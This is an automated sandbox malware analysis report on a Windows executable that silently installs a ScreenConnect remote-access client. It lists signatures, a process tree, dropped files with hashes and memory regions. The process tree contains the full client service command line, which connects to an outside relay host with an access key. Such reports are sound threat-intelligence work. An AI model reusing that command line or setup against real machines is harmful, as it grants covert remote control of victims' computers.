Analysis

  • max time kernel
    138s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 04:07

General

  • Target
    5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe
  • Size 5.2MB
  • Sample240613-epv8hsxdml
  • SHA256 325c5b5b1e908a8cfc40c0a8f99c380d7791b443eb727396eeefc255b7f0be94
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 20 IoCs
  • Registers COM server for autorun 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\034dfb5118a73fb6\setup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:904
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Registers COM server for autorun
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4616
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BB18DEC0903EF357FA66B965C430DD35 C
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240610015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        PID:2212
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4000
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 85A9C6B9C63676966745B34362DB5CCC
        2⤵
        • Loads dropped DLL
        PID:4620
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6946024725F8C144514B34BE20779930 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        PID:2456
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2680
    • C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=wisescloud.pro&p=8041&s=edbf602d-8e36-4fb8-b759-dde680cb62b4&k=BgIAAACkAABSU0ExAAgAAAEAAQD9KmplZJ81oG%2ba2%2bBWVLmpfohLlvCUXrepeNS1R%2fuw7DqRwObsF0xQH%2bV8%2b2acClFwH8RZp%2fO5JxqkwAxSE7fJ5Wx0EOvlTi3kT0Weq1uP%2fo6y5m59jH9QWbnQ%2b0EljzizFtAC5j%2bW%2by%2fwXuqL2kelsCK6NwWhNWASFFQ0azEtLh3MNB2KGiuvXCu8uRcSESk9%2bLkvf38mkC%2b45xB%2fIqX%2byZVyfl25mreqO5WqPvfUAqo9My%2fZ1jwvnyIyGd4ZHM2A%2b9iuK8YhdqTFk3RnWRRK%2fNqz%2bnceOAgEQ5R6SqwAHJZ%2bHzazt2v60%2feKd%2fMosf73UTGwN3svFojeLQLh%2fV3A"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe" "RunRole" "b30f3282-79d7-4d67-b4b9-f9197d084ff7" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: AddClipboardFormatListener
        PID:2316

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57ade4.rbs

          • Path C:\Config.Msi\e57ade4.rbs
          • Size 213KB
          • SHA256 fcafe5e0c8706b560fe428d0b613f5a452e18de19bebf1d13e4cd19ea64ac844
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\Client.en-US.resources
          • Size 47KB
          • SHA256 2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.Client.dll
          • Size 188KB
          • SHA256 17377a52eeae11e8ee01eb629d6a60c10015ad2bb8bc9768e5c8e4b6500a15ed
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.dll
          • Size 60KB
          • SHA256 7c5442121dba2a30ab9579ec08e111ded372cf9cf90fb3256f273980b975afa9
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 e9ab064ed381c29a3930f75ca3e05605c6ee07f30a69c043f576a5461de3bafc
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 998cc3f9af5bd41ccf0f9be86192bbe20cdec08a6ff73c1199e1364195a83e14
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe
          • Size 573KB
          • SHA256 71602f6b0b27c8b7d8ad624248e6126970939effde785ec913ace19052e9960e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 746KB
          • SHA256 62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\app.config
          • Size 2KB
          • SHA256 8e3dc9d06b282a536e1af7806d7f434d5738d4932dae557ccd762bfeed0bfc11
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\system.config
          • Size 966B
          • SHA256 868a93250119f54c4b19174becad548c33ed2a22c906efd99712978c2718558b
          • MD5 SHA1 SHA512

          MSI69A7.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp
          • Size 1017KB
          • SHA256 2b35c0e4088b2a7728fa7bc6a5bfdefed7665598de6d49641fdf5d1f1271a4d7
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp-\ScreenConnect.Core.dll
          • Size 519KB
          • SHA256 761b7e50baa229e8afcd9a50990d7f776ddb5ed1ea5fbb131c802e57cf918742
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 ca9e51d51f24e16428d1b0e9a0829a44da2678bfc7ba00f0b46a57dcd6d734b8
          • MD5 SHA1 SHA512 SSDEEP

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\034dfb5118a73fb6\setup.msi
          • Size 8.9MB
          • SHA256 f469443537f8aa15d3abc0e21868e805528488ddae10b3eee113b3736150455e
          • MD5 SHA1 SHA512 SSDEEP

          MSIAF5B.tmp

          • Path C:\Windows\Installer\MSIAF5B.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 23.7MB
          • SHA256 406e48e94482ac8cb33cc39babffd17d1e646bba973b7c57ce3e9927a8a785b2
          • MD5 SHA1 SHA512 SSDEEP

          {94872d96-903e-4ccf-b27d-a576cbedd3da}_OnDiskSnapshotProp

          • Path \??\Volume{2497e243-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{94872d96-903e-4ccf-b27d-a576cbedd3da}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 c77be81dc7a033d4c38d06d37e1638039bc61bae0429a97c70cff02a5d501fd8
          • MD5 SHA1 SHA512 SSDEEP

          memory/920-2-0x0000000005380000-0x000000000564A000-memory.dmp

          memory/920-0-0x0000000074E6E000-0x0000000074E6F000-memory.dmp

          memory/920-5-0x0000000005050000-0x0000000005072000-memory.dmp

          memory/920-3-0x0000000074E60000-0x0000000075610000-memory.dmp

          memory/920-11-0x0000000074E60000-0x0000000075610000-memory.dmp

          memory/920-1-0x0000000001020000-0x0000000001028000-memory.dmp

          memory/920-7-0x0000000074E60000-0x0000000075610000-memory.dmp

          memory/920-4-0x0000000004FC0000-0x0000000005048000-memory.dmp

          memory/920-6-0x0000000074E60000-0x0000000075610000-memory.dmp

          memory/1892-94-0x0000000003F50000-0x00000000040FA000-memory.dmp

          memory/1892-117-0x0000000004240000-0x00000000042D2000-memory.dmp

          memory/1892-119-0x00000000042E0000-0x000000000439E000-memory.dmp

          memory/1892-112-0x0000000004150000-0x00000000041A0000-memory.dmp

          memory/1892-95-0x00000000046B0000-0x0000000004C54000-memory.dmp

          memory/1892-85-0x0000000003BE0000-0x0000000003BF6000-memory.dmp

          memory/1892-116-0x0000000004100000-0x0000000004136000-memory.dmp

          memory/2212-31-0x0000000004D70000-0x0000000004D7C000-memory.dmp

          memory/2212-27-0x0000000004D40000-0x0000000004D6E000-memory.dmp

          memory/2212-35-0x0000000004E50000-0x0000000004ED8000-memory.dmp

          memory/2316-127-0x0000000001090000-0x00000000010C6000-memory.dmp

          memory/2316-129-0x000000001B8E0000-0x000000001BA8A000-memory.dmp

          memory/2316-130-0x000000001BC20000-0x000000001BDA6000-memory.dmp

          memory/2316-131-0x0000000001070000-0x0000000001086000-memory.dmp

          memory/2316-132-0x00000000029C0000-0x00000000029D6000-memory.dmp

          memory/2316-128-0x000000001B6A0000-0x000000001B728000-memory.dmp

          memory/2316-126-0x0000000000720000-0x00000000007B4000-memory.dmp